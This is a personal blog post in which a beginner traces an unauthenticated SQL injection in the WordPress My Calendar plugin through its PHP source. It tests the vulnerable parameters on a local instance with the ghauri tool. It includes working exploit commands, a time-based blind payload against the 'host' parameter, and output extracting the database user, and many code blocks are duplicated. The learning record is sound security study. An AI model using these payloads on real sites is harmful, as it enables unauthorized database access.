August 14, 2026
A Beginner’s Struggle With Reversing CVE-2026–6854
I’ve always wondered how some people were able to reverse security vulnerabilities and create exploits shortly after their disclosure. So I…
By Paul Lam
14 min read
I've always wondered how some people were able to reverse security vulnerabilities and create exploits shortly after their disclosure. So I decided to try and reverse one myself.
NB: This is not meant to be a walkthrough or a guide. In fact most of this whole process is mistakes and more questions than answers. I'm not an expert in PHP, Wordpress, or even cybersecurity, but I just wanted to document my learning experience and I hope this helps whoever is reading this.
I ended up choosing a Wordpress plugin CVE to investigate and ended up on this one: https://wpscan.com/vulnerability/a6466f97-4d8a-4d01-b61f-94d89da7c16b/
It was an Unauthenticated SQL Injection vulnerability in the My Calendar plugin affecting versions up to 3.7.8 via 'mc_auth' and 'mc_host' parameters. On first glance, I thought this could be an easy one to reverse. After all, the exploit should not require credentials or anything like that, right?
But after spending quite some time trying to find the differences between versions 3.7.8 and 3.7.9, there wasn't anything fixed that seemed directly related to the vulnerability, and searching for mc_auth and mc_host did not bring up anything in the patch diff. So the next thing I tried was to look for occurrences of the two parameters in the source code and see how they changed throughout the codebase. Below was my thought process and documentation:
Searching through the SVN repo, we find the following occurrences of 'mc_auth':
my-calendar-events.php:188: $clauth = ( isset( $get[‘mc_auth’] ) ) ? $get[‘mc_auth’] : $author;
my-calendar-limits.php:156: $authors = mc_author_select_ids( $author );
my-calendar-limits.php:173: function mc_author_select_ids( $author ) {
my-calendar-templates.php:1505: add_filter( ‘mc_insert_author_data’, ‘mc_author_data’, 10, 2 );
my-calendar-templates.php:1514: function mc_author_data( $e, $event ) {my-calendar-events.php:188: $clauth = ( isset( $get[‘mc_auth’] ) ) ? $get[‘mc_auth’] : $author;
my-calendar-limits.php:156: $authors = mc_author_select_ids( $author );
my-calendar-limits.php:173: function mc_author_select_ids( $author ) {
my-calendar-templates.php:1505: add_filter( ‘mc_insert_author_data’, ‘mc_author_data’, 10, 2 );
my-calendar-templates.php:1514: function mc_author_data( $e, $event ) {And this one for 'mc_host':
includes/widgets/class-my-calendar-today-widget.php:63: $host = ( ! isset( $instance['mc_host'] ) || '' === $instance['mc_host'] ) ? 'all' : esc_attr( $instance['mc_host'] );
includes/widgets/class-my-calendar-today-widget.php:116: $widget_host = ( isset( $instance['mc_host'] ) ) ? $instance['mc_host'] : '';
includes/widgets/class-my-calendar-today-widget.php:193: <label for="<?php echo esc_attr( $this->get_field_id( 'mc_host' ) ); ?>"><?php esc_html_e( 'Host or hosts to show:', 'my-calendar' ); ?></label><br/>
includes/widgets/class-my-calendar-today-widget.php:194: <input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id( 'mc_host' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'mc_host' ) ); ?>" value="<?php echo esc_attr( $widget_host ); ?>"/>
includes/widgets/class-my-calendar-upcoming-widget.php:75: $host = ( ! isset( $instance['mc_host'] ) || '' === $instance['mc_host'] ) ? 'default' : esc_attr( $instance['mc_host'] );
includes/widgets/class-my-calendar-upcoming-widget.php:133: $host = ( isset( $instance['mc_host'] ) ) ? $instance['mc_host'] : '';
includes/widgets/class-my-calendar-upcoming-widget.php:303: <label for="<?php echo esc_attr( $this->get_field_id( 'mc_host' ) ); ?>"><?php esc_html_e( 'Host or hosts to show:', 'my-calendar' ); ?></label><br/>
includes/widgets/class-my-calendar-upcoming-widget.php:304: <input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id( 'mc_host' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'mc_host' ) ); ?>" value="<?php echo esc_attr( $host ); ?>"/>
my-calendar-events.php:189: $clhost = ( isset( $get['mc_host'] ) ) ? $get['mc_host'] : $host;includes/widgets/class-my-calendar-today-widget.php:63: $host = ( ! isset( $instance['mc_host'] ) || '' === $instance['mc_host'] ) ? 'all' : esc_attr( $instance['mc_host'] );
includes/widgets/class-my-calendar-today-widget.php:116: $widget_host = ( isset( $instance['mc_host'] ) ) ? $instance['mc_host'] : '';
includes/widgets/class-my-calendar-today-widget.php:193: <label for="<?php echo esc_attr( $this->get_field_id( 'mc_host' ) ); ?>"><?php esc_html_e( 'Host or hosts to show:', 'my-calendar' ); ?></label><br/>
includes/widgets/class-my-calendar-today-widget.php:194: <input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id( 'mc_host' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'mc_host' ) ); ?>" value="<?php echo esc_attr( $widget_host ); ?>"/>
includes/widgets/class-my-calendar-upcoming-widget.php:75: $host = ( ! isset( $instance['mc_host'] ) || '' === $instance['mc_host'] ) ? 'default' : esc_attr( $instance['mc_host'] );
includes/widgets/class-my-calendar-upcoming-widget.php:133: $host = ( isset( $instance['mc_host'] ) ) ? $instance['mc_host'] : '';
includes/widgets/class-my-calendar-upcoming-widget.php:303: <label for="<?php echo esc_attr( $this->get_field_id( 'mc_host' ) ); ?>"><?php esc_html_e( 'Host or hosts to show:', 'my-calendar' ); ?></label><br/>
includes/widgets/class-my-calendar-upcoming-widget.php:304: <input class="widefat" type="text" id="<?php echo esc_attr( $this->get_field_id( 'mc_host' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'mc_host' ) ); ?>" value="<?php echo esc_attr( $host ); ?>"/>
my-calendar-events.php:189: $clhost = ( isset( $get['mc_host'] ) ) ? $get['mc_host'] : $host;I started by looking at src/my-calendar-events.php:
/**
* Grab all events for the requested dates from calendar
*
* This function needs to be able to react to URL parameters for most factors, with the arguments being the default shown.
*
* @param array $args parameters to use for selecting events.
*
* @return array qualified events
*/
function my_calendar_get_events( $args ) {
$get = map_deep( $_GET, 'sanitize_text_field' );
$from = isset( $args['from'] ) ? $args['from'] : '';
$to = isset( $args['to'] ) ? $args['to'] : '';
$category = isset( $args['category'] ) ? $args['category'] : 'all';
$ltype = isset( $args['ltype'] ) ? $args['ltype'] : 'all';
$lvalue = isset( $args['lvalue'] ) ? $args['lvalue'] : 'all';
$author = isset( $args['author'] ) ? $args['author'] : 'all';
$host = isset( $args['host'] ) ? $args['host'] : 'all';
$search = isset( $args['search'] ) ? $args['search'] : '';
$holidays = isset( $args['holidays'] ) ? $args['holidays'] : null;
$site = isset( $args['site'] ) ? $args['site'] : false;
$site = ! is_array( $site ) ? array( $site ) : $site;
$mcdb = mc_is_remote_db();
if ( 'holidays' === $holidays && '' === $category ) {
return array();
}
if ( null === $holidays ) {
$ccategory = ( isset( $get['mcat'] ) && '' !== trim( $get['mcat'] ) ) ? $get['mcat'] : $category;
} else {
$ccategory = $category;
}
$cltype = ( isset( $get['ltype'] ) ) ? $get['ltype'] : $ltype;
$clvalue = ( isset( $get['loc'] ) ) ? $get['loc'] : $lvalue;
$clauth = ( isset( $get['mc_auth'] ) ) ? $get['mc_auth'] : $author;
$clhost = ( isset( $get['mc_host'] ) ) ? $get['mc_host'] : $host;/**
* Grab all events for the requested dates from calendar
*
* This function needs to be able to react to URL parameters for most factors, with the arguments being the default shown.
*
* @param array $args parameters to use for selecting events.
*
* @return array qualified events
*/
function my_calendar_get_events( $args ) {
$get = map_deep( $_GET, 'sanitize_text_field' );
$from = isset( $args['from'] ) ? $args['from'] : '';
$to = isset( $args['to'] ) ? $args['to'] : '';
$category = isset( $args['category'] ) ? $args['category'] : 'all';
$ltype = isset( $args['ltype'] ) ? $args['ltype'] : 'all';
$lvalue = isset( $args['lvalue'] ) ? $args['lvalue'] : 'all';
$author = isset( $args['author'] ) ? $args['author'] : 'all';
$host = isset( $args['host'] ) ? $args['host'] : 'all';
$search = isset( $args['search'] ) ? $args['search'] : '';
$holidays = isset( $args['holidays'] ) ? $args['holidays'] : null;
$site = isset( $args['site'] ) ? $args['site'] : false;
$site = ! is_array( $site ) ? array( $site ) : $site;
$mcdb = mc_is_remote_db();
if ( 'holidays' === $holidays && '' === $category ) {
return array();
}
if ( null === $holidays ) {
$ccategory = ( isset( $get['mcat'] ) && '' !== trim( $get['mcat'] ) ) ? $get['mcat'] : $category;
} else {
$ccategory = $category;
}
$cltype = ( isset( $get['ltype'] ) ) ? $get['ltype'] : $ltype;
$clvalue = ( isset( $get['loc'] ) ) ? $get['loc'] : $lvalue;
$clauth = ( isset( $get['mc_auth'] ) ) ? $get['mc_auth'] : $author;
$clhost = ( isset( $get['mc_host'] ) ) ? $get['mc_host'] : $host;The $get variable receives the output of map_deep() on the global $_GET variable, and from there mc_auth and mc_host are called.
Further down the code we see this:
// If location value is not set, then location type shouldn't be set.
if ( 'all' === $clvalue ) {
$cltype = 'all';
}
$from = mc_checkdate( $from );
$to = mc_checkdate( $to );
if ( ! $from || ! $to ) {
return array();
} // Not valid dates.
$cat_limit = ( 'all' !== $ccategory ) ? mc_select_category( $ccategory ) : array();
$join = ( isset( $cat_limit[0] ) ) ? $cat_limit[0] : '';
$select_category = ( isset( $cat_limit[1] ) ) ? $cat_limit[1] : '';
$select_author = ( 'all' !== $clauth ) ? mc_select_author( $clauth ) : '';
$select_host = ( 'all' !== $clhost ) ? mc_select_host( $clhost ) : '';
$select_location = mc_select_location( $cltype, $clvalue );
$select_access = ( isset( $get['access'] ) ) ? mc_access_limit( $get['access'] ) : '';
$if_where = ( $select_access ) ? '' : 'WHERE ';
$select_published = mc_select_published( $args );
$search = mc_prepare_search_query( $search );
$exclude_categories = mc_private_categories( $args );
$arr_events = array();
$ts_string = mc_ts();
// If location value is not set, then location type shouldn't be set.
if ( 'all' === $clvalue ) {
$cltype = 'all';
}
$from = mc_checkdate( $from );
$to = mc_checkdate( $to );
if ( ! $from || ! $to ) {
return array();
} // Not valid dates.
$cat_limit = ( 'all' !== $ccategory ) ? mc_select_category( $ccategory ) : array();
$join = ( isset( $cat_limit[0] ) ) ? $cat_limit[0] : '';
$select_category = ( isset( $cat_limit[1] ) ) ? $cat_limit[1] : '';
$select_author = ( 'all' !== $clauth ) ? mc_select_author( $clauth ) : '';
$select_host = ( 'all' !== $clhost ) ? mc_select_host( $clhost ) : '';
$select_location = mc_select_location( $cltype, $clvalue );
$select_access = ( isset( $get['access'] ) ) ? mc_access_limit( $get['access'] ) : '';
$if_where = ( $select_access ) ? '' : 'WHERE ';
$select_published = mc_select_published( $args );
$search = mc_prepare_search_query( $search );
$exclude_categories = mc_private_categories( $args );
$arr_events = array();
$ts_string = mc_ts();So the value in mc_auth which is passed to mc_select_author(). When we search the codebase for this function, we get this definition at src/my-calendar-limits.php:
/**
* Get select parameter values for authors & hosts
*
* @param string|int $author numeric or string tokens for authors or list of authors.
* @param string $type context of query.
* @param string $context context of data.
*
* @return string WHERE limits
*/
function mc_select_author( $author, $type = 'event', $context = 'author' ) {
if ( '' === trim( (string) $author ) ) {
return '';
}
$author = urldecode( $author );
if ( '' === $author || 'all' === $author || 'default' === $author ) {
return '';
}
$select_author = '';
$data = ( 'author' === $context ) ? 'event_author' : 'event_host';
if ( preg_match( '/^all$|^all,|,all$|,all,/i', $author ) > 0 ) {
return '';
} else {
$authors = mc_author_select_ids( $author );
if ( count( $authors ) > 0 ) {
$auths = implode( ',', $authors );
$select_author = "AND $data IN ($auths)";
}
return $select_author;
}
}/**
* Get select parameter values for authors & hosts
*
* @param string|int $author numeric or string tokens for authors or list of authors.
* @param string $type context of query.
* @param string $context context of data.
*
* @return string WHERE limits
*/
function mc_select_author( $author, $type = 'event', $context = 'author' ) {
if ( '' === trim( (string) $author ) ) {
return '';
}
$author = urldecode( $author );
if ( '' === $author || 'all' === $author || 'default' === $author ) {
return '';
}
$select_author = '';
$data = ( 'author' === $context ) ? 'event_author' : 'event_host';
if ( preg_match( '/^all$|^all,|,all$|,all,/i', $author ) > 0 ) {
return '';
} else {
$authors = mc_author_select_ids( $author );
if ( count( $authors ) > 0 ) {
$auths = implode( ',', $authors );
$select_author = "AND $data IN ($auths)";
}
return $select_author;
}
}So the function processes $author in a number of steps. It first typecasts $author as a string and checks that it is not empty. After this, it url decodes it and checks whether its value is not empty, 'all', or 'default'. The regex removes values where 'all' appears as a complete token at the beginning, end, or between comma-separated values.
/**
* Get array of author IDs from passed comma-separated data
*
* @param string $author numeric or string-based author tokens.
*
* @return array author IDs
*/
function mc_author_select_ids( $author ) {
$authors = array();
if ( strpos( $author, '|' ) || strpos( $author, ',' ) ) {
if ( strpos( $author, '|' ) ) {
$authors = explode( '|', $author );
} else {
$authors = explode( ',', $author );
}
foreach ( $authors as $index => $key ) {
$key = trim( $key );
if ( is_numeric( $key ) ) {
$add = absint( $key );
} elseif ( 'current' === $key ) {
$author = wp_get_current_user();
$add = $author->ID;
unset( $authors[ $index ] );
} else {
$author = get_user_by( 'login', $key ); // Get author by username.
$add = $author->ID;
}
$authors[] = $add;
}
} else {
if ( is_numeric( $author ) ) {
$authors[] = absint( $author );
} else {
$author = trim( $author );
if ( 'current' === $author ) {
$author = wp_get_current_user();
$authors[] = $author->ID;
} else {
$author = get_user_by( 'login', $author ); // Get author by username.
if ( is_object( $author ) ) {
$authors[] = $author->ID;
}
}
}
}
return $authors;
}
/**
* Get array of author IDs from passed comma-separated data
*
* @param string $author numeric or string-based author tokens.
*
* @return array author IDs
*/
function mc_author_select_ids( $author ) {
$authors = array();
if ( strpos( $author, '|' ) || strpos( $author, ',' ) ) {
if ( strpos( $author, '|' ) ) {
$authors = explode( '|', $author );
} else {
$authors = explode( ',', $author );
}
foreach ( $authors as $index => $key ) {
$key = trim( $key );
if ( is_numeric( $key ) ) {
$add = absint( $key );
} elseif ( 'current' === $key ) {
$author = wp_get_current_user();
$add = $author->ID;
unset( $authors[ $index ] );
} else {
$author = get_user_by( 'login', $key ); // Get author by username.
$add = $author->ID;
}
$authors[] = $add;
}
} else {
if ( is_numeric( $author ) ) {
$authors[] = absint( $author );
} else {
$author = trim( $author );
if ( 'current' === $author ) {
$author = wp_get_current_user();
$authors[] = $author->ID;
} else {
$author = get_user_by( 'login', $author ); // Get author by username.
if ( is_object( $author ) ) {
$authors[] = $author->ID;
}
}
}
}
return $authors;
}Still following along? Nice.
The final return value of this function is an array, but its content and structure depend heavily on whether you pass a single author or a delimiter-separated string (comma or pipe).
So now going back to the previous function mc_select_author, the final section of code reads:
if ( count( $authors ) > 0 ) {
$auths = implode( ',', $authors );
$select_author = "AND $data IN ($auths)";
}
return $select_author;if ( count( $authors ) > 0 ) {
$auths = implode( ',', $authors );
$select_author = "AND $data IN ($auths)";
}
return $select_author;So it joins the authors into a string as $auths like
$array = ['Apple', 'Banana', 'Orange']; echo implode(', ', $array); // Output: Apple, Banana, Orange
and returns it back to the parent function i.e
$select_author = ( 'all' !== $clauth ) ? mc_select_author( $clauth ) : '';
Next we see $select_author being passed into the $event_query string and then called by $mcdb
/**
* Set primary sort for getting events. Default 'occur_begin'.
*
* @hook mc_primary_sort
*
* @param {string} $primary_sort SQL sort column.
* @param {string} $context Current function.
*
* @return {string}
*/
$primary_sort = apply_filters( 'mc_primary_sort', 'occur_begin', 'my_calendar_get_events' );
/**
* Set secondary sort for getting events. Default 'event_title ASC'.
*
* @hook mc_secondary_sort
*
* @param {string} $secondary_sort SQL sort column.
* @param {string} $context Current function.
*
* @return {string}
*/
$secondary_sort = apply_filters( 'mc_secondary_sort', 'event_title ASC', 'my_calendar_get_events' );
$location_join = ( $select_location ) ? 'JOIN (SELECT location_id FROM ' . my_calendar_locations_table() . " WHERE $select_location) l on e.event_location = l.location_id" : '';
/**
* Filter site parameter in queries on a multisite network. Allows a query to show events merged from multiple sites using a single shortcode.
*
* @hook mc_get_events_sites
*
* @param {array} $site Array of sites or a single site if displaying events from a different site on the network.
* @param {array} $args Shortcode arguments.
*
* @return {array}
*/
$site = apply_filters( 'mc_get_events_sites', $site, $args );
$site = ! is_array( $site ) ? array( $site ) : $site;
foreach ( $site as $s ) {
$event_query = '
SELECT *, ' . $ts_string . '
FROM ' . my_calendar_event_table( $s ) . ' AS o
JOIN ' . my_calendar_table( $s ) . ' AS e
ON (event_id=occur_event_id)
JOIN ' . my_calendar_categories_table( $s ) . " AS c
ON (event_category=category_id)
$join
$location_join
$select_access
$if_where $select_published $select_category $select_author $select_host $search
AND ( DATE(occur_begin) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
OR DATE(occur_end) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
OR ( DATE('$from') BETWEEN DATE(occur_begin) AND DATE(occur_end) )
OR ( DATE('$to') BETWEEN DATE(occur_begin) AND DATE(occur_end) ) )
$exclude_categories
GROUP BY o.occur_id ORDER BY $primary_sort, $secondary_sort";
$events = $mcdb->get_results( $event_query );
/**
* Set primary sort for getting events. Default 'occur_begin'.
*
* @hook mc_primary_sort
*
* @param {string} $primary_sort SQL sort column.
* @param {string} $context Current function.
*
* @return {string}
*/
$primary_sort = apply_filters( 'mc_primary_sort', 'occur_begin', 'my_calendar_get_events' );
/**
* Set secondary sort for getting events. Default 'event_title ASC'.
*
* @hook mc_secondary_sort
*
* @param {string} $secondary_sort SQL sort column.
* @param {string} $context Current function.
*
* @return {string}
*/
$secondary_sort = apply_filters( 'mc_secondary_sort', 'event_title ASC', 'my_calendar_get_events' );
$location_join = ( $select_location ) ? 'JOIN (SELECT location_id FROM ' . my_calendar_locations_table() . " WHERE $select_location) l on e.event_location = l.location_id" : '';
/**
* Filter site parameter in queries on a multisite network. Allows a query to show events merged from multiple sites using a single shortcode.
*
* @hook mc_get_events_sites
*
* @param {array} $site Array of sites or a single site if displaying events from a different site on the network.
* @param {array} $args Shortcode arguments.
*
* @return {array}
*/
$site = apply_filters( 'mc_get_events_sites', $site, $args );
$site = ! is_array( $site ) ? array( $site ) : $site;
foreach ( $site as $s ) {
$event_query = '
SELECT *, ' . $ts_string . '
FROM ' . my_calendar_event_table( $s ) . ' AS o
JOIN ' . my_calendar_table( $s ) . ' AS e
ON (event_id=occur_event_id)
JOIN ' . my_calendar_categories_table( $s ) . " AS c
ON (event_category=category_id)
$join
$location_join
$select_access
$if_where $select_published $select_category $select_author $select_host $search
AND ( DATE(occur_begin) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
OR DATE(occur_end) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
OR ( DATE('$from') BETWEEN DATE(occur_begin) AND DATE(occur_end) )
OR ( DATE('$to') BETWEEN DATE(occur_begin) AND DATE(occur_end) ) )
$exclude_categories
GROUP BY o.occur_id ORDER BY $primary_sort, $secondary_sort";
$events = $mcdb->get_results( $event_query );mcdb is defined in another section of code at src/includes/db.php:
/**
* Get the database connection, checking whether a remote DB is in use.
*
* @return object WP DB object
*/
function mc_is_remote_db() {
global $wpdb;
global $remotedb;
$mcdb = $wpdb;
if ( 'true' === mc_get_option( 'remote' ) && function_exists( 'mc_remote_db' ) ) {
if ( ! isset( $remotedb ) ) {
$remotedb = mc_remote_db();
}
$mcdb = $remotedb;
}
return $mcdb;
}/**
* Get the database connection, checking whether a remote DB is in use.
*
* @return object WP DB object
*/
function mc_is_remote_db() {
global $wpdb;
global $remotedb;
$mcdb = $wpdb;
if ( 'true' === mc_get_option( 'remote' ) && function_exists( 'mc_remote_db' ) ) {
if ( ! isset( $remotedb ) ) {
$remotedb = mc_remote_db();
}
$mcdb = $remotedb;
}
return $mcdb;
}My understanding at that point in time was it did not seem like the mc_auth parameter was checked for any potential SQL queries so it seems to confirm the initial report that this was the injection point…
I was getting quite tired of reading code and so I decided to just set up a vulnerable local wordpress instance with the plugin. But after fiddling around for a long time, I could not figure out where mc_auth and mc_host could be found. Nowhere in the code did it seem like these variables could be passed as url parameters. But then when I was in the dashboard, there was a section under Generate Shortcodes which listed Author and Host Filters. When I selected one author and a different host, it generated a shortcode showing:
[my_calendar weekends="true" author="1" host="2"].
This was interesting to me because it tells me that in the system the author and host IDs are mapped by integers, and also this made me think of the section where mc_auth and mc_host were called:
function my_calendar_get_events( $args ) {
$get = map_deep( $_GET, 'sanitize_text_field' );
$from = isset( $args['from'] ) ? $args['from'] : '';
$to = isset( $args['to'] ) ? $args['to'] : '';
$category = isset( $args['category'] ) ? $args['category'] : 'all';
$ltype = isset( $args['ltype'] ) ? $args['ltype'] : 'all';
$lvalue = isset( $args['lvalue'] ) ? $args['lvalue'] : 'all';
$author = isset( $args['author'] ) ? $args['author'] : 'all';
$host = isset( $args['host'] ) ? $args['host'] : 'all';
$search = isset( $args['search'] ) ? $args['search'] : '';
$holidays = isset( $args['holidays'] ) ? $args['holidays'] : null;
$site = isset( $args['site'] ) ? $args['site'] : false;
$site = ! is_array( $site ) ? array( $site ) : $site;
$mcdb = mc_is_remote_db();function my_calendar_get_events( $args ) {
$get = map_deep( $_GET, 'sanitize_text_field' );
$from = isset( $args['from'] ) ? $args['from'] : '';
$to = isset( $args['to'] ) ? $args['to'] : '';
$category = isset( $args['category'] ) ? $args['category'] : 'all';
$ltype = isset( $args['ltype'] ) ? $args['ltype'] : 'all';
$lvalue = isset( $args['lvalue'] ) ? $args['lvalue'] : 'all';
$author = isset( $args['author'] ) ? $args['author'] : 'all';
$host = isset( $args['host'] ) ? $args['host'] : 'all';
$search = isset( $args['search'] ) ? $args['search'] : '';
$holidays = isset( $args['holidays'] ) ? $args['holidays'] : null;
$site = isset( $args['site'] ) ? $args['site'] : false;
$site = ! is_array( $site ) ? array( $site ) : $site;
$mcdb = mc_is_remote_db();The thing that was bugging me was that the vulnerability report states that this was an unauthenticated vulnerability, meaning that no login was required, so it seemed that whatever I was accessing and viewing from the dashboard was not really useful. Later on, I found that there were parameters that could be passed through the api based on this documentation: https://docs.joedolson.com/my-calendar/my-calendar-api/
Parameters my-calendar-api: format to return, 'json', 'csv', 'ical' from: starting date to retrieve, YYYY-MM-DD (default: current date.) to: end date to retrieve, YYYY-MM-DD (default: 7 days from today.) mcat: Category ID to limit by. ltype: Location type to restrict to (keywords: 'name', 'city', 'state', 'zip', 'country', 'region') lvalue: Location value to match against location field type author: Events by author ID host: Events by host ID. search: text search query terms.
This was just my intuition, but the API documentation and the behaviour from the shortcode generator made me think that 'author' and 'host' were the actual injection points, not 'mc_auth' and 'mc_host'. I wanted to give up at this point, and so I just fired up ghauri one more time to try to test 'author' and 'host', and it turns out that host was valid!
ghauri -u 'http://127.0.0.1:8080/?to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2' -p host --level 3 --dbms MySQL --technique T
________.__ .__ {1.4.3}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 18:18:31 /2026-08-13/
[18:18:31] [INFO] testing connection to the target URL
[18:18:31] [INFO] testing if the target URL content is stable
[18:18:32] [INFO] target URL content is stable
[18:18:32] [WARNING] heuristic (basic) test shows that GET parameter 'host' might not be injectable
[18:18:32] [INFO] testing for SQL injection on GET parameter 'host'
[18:18:32] [INFO] testing 'MySQL >= 5.0.12 time-based blind (query SLEEP)'
[18:18:33] [INFO] testing 'MySQL >= 5.0.12 time-based blind (IF - comment)'
[18:18:43] [INFO] GET parameter 'host' appears to be 'MySQL >= 5.0.12 time-based blind (IF - comment)' injectable
[18:18:43] [INFO] checking if the injection point on GET parameter 'host' is a false positive
GET parameter 'host' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
Ghauri identified the following injection point(s) with a total of 29 HTTP(s) requests:
---
Parameter: host (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2) AND if(now()=sysdate(),SLEEP(9),0)-- wXyW
---ghauri -u 'http://127.0.0.1:8080/?to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2' -p host --level 3 --dbms MySQL --technique T
________.__ .__ {1.4.3}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 18:18:31 /2026-08-13/
[18:18:31] [INFO] testing connection to the target URL
[18:18:31] [INFO] testing if the target URL content is stable
[18:18:32] [INFO] target URL content is stable
[18:18:32] [WARNING] heuristic (basic) test shows that GET parameter 'host' might not be injectable
[18:18:32] [INFO] testing for SQL injection on GET parameter 'host'
[18:18:32] [INFO] testing 'MySQL >= 5.0.12 time-based blind (query SLEEP)'
[18:18:33] [INFO] testing 'MySQL >= 5.0.12 time-based blind (IF - comment)'
[18:18:43] [INFO] GET parameter 'host' appears to be 'MySQL >= 5.0.12 time-based blind (IF - comment)' injectable
[18:18:43] [INFO] checking if the injection point on GET parameter 'host' is a false positive
GET parameter 'host' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
Ghauri identified the following injection point(s) with a total of 29 HTTP(s) requests:
---
Parameter: host (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2) AND if(now()=sysdate(),SLEEP(9),0)-- wXyW
---And to my surprise, 'author' was not valid!
ghauri -u 'http://127.0.0.1:8080/?to=2026-09-12&from=2026-08-13&mc-api=json&author=asdf' -p author --level 3 --dbms MySQL --technique T
________.__ .__ {1.4.3}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 18:17:14 /2026-08-13/
[18:17:14] [INFO] testing connection to the target URL
[18:17:15] [INFO] testing if the target URL content is stable
[18:17:15] [INFO] target URL content is stable
[18:17:15] [WARNING] heuristic (basic) test shows that GET parameter 'author' might not be injectable
[18:17:15] [INFO] testing for SQL injection on GET parameter 'author'
[18:17:15] [INFO] testing 'MySQL >= 5.0.12 time-based blind (query SLEEP)'
[18:17:17] [INFO] testing 'MySQL >= 5.0.12 time-based blind (IF - comment)'
[18:17:18] [INFO] testing 'MySQL >= 5.0.12 time-based blind (CASE STATEMENT)'
[18:17:19] [INFO] testing 'MySQL >= 5.0.12 time-based blind (SLEEP)'
[18:17:20] [WARNING] GET parameter 'author' does not seem to be injectable
[18:17:20] [CRITICAL] all tested parameters do not appear to be injectable.ghauri -u 'http://127.0.0.1:8080/?to=2026-09-12&from=2026-08-13&mc-api=json&author=asdf' -p author --level 3 --dbms MySQL --technique T
________.__ .__ {1.4.3}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 18:17:14 /2026-08-13/
[18:17:14] [INFO] testing connection to the target URL
[18:17:15] [INFO] testing if the target URL content is stable
[18:17:15] [INFO] target URL content is stable
[18:17:15] [WARNING] heuristic (basic) test shows that GET parameter 'author' might not be injectable
[18:17:15] [INFO] testing for SQL injection on GET parameter 'author'
[18:17:15] [INFO] testing 'MySQL >= 5.0.12 time-based blind (query SLEEP)'
[18:17:17] [INFO] testing 'MySQL >= 5.0.12 time-based blind (IF - comment)'
[18:17:18] [INFO] testing 'MySQL >= 5.0.12 time-based blind (CASE STATEMENT)'
[18:17:19] [INFO] testing 'MySQL >= 5.0.12 time-based blind (SLEEP)'
[18:17:20] [WARNING] GET parameter 'author' does not seem to be injectable
[18:17:20] [CRITICAL] all tested parameters do not appear to be injectable.Extracting current user:
ghauri -u 'http://127.0.0.1:8080/?to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2' -p host --level 3 --dbms MySQL --technique T --current-user
________.__ .__ {1.4.3}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 18:19:30 /2026-08-13/
[18:19:30] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
---
Parameter: host (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2) AND if(now()=sysdate(),SLEEP(9),0)-- wXyW
---
[18:19:30] [INFO] testing MySQL
[18:19:30] [INFO] confirming MySQL
[18:19:30] [INFO] the back-end DBMS is MySQL
[18:19:30] [INFO] fetching current user
[18:20:25] [INFO] retrieving the length of query output
[18:21:26] [INFO] retrieved: 11
[18:21:56] [WARNING] Ghauri detected read timout '4' time(s), It is recommended to set high value of option(s) '--time-sec', increase delay between request(s) with an option '--delay'.
Ghauri detected read timeout multiple time(s). Do you want to continue? [y/N] y
[18:44:55] [INFO] retrieved: 'wordpress@%'
current user: 'wordpress@%'ghauri -u 'http://127.0.0.1:8080/?to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2' -p host --level 3 --dbms MySQL --technique T --current-user
________.__ .__ {1.4.3}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 18:19:30 /2026-08-13/
[18:19:30] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
---
Parameter: host (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2) AND if(now()=sysdate(),SLEEP(9),0)-- wXyW
---
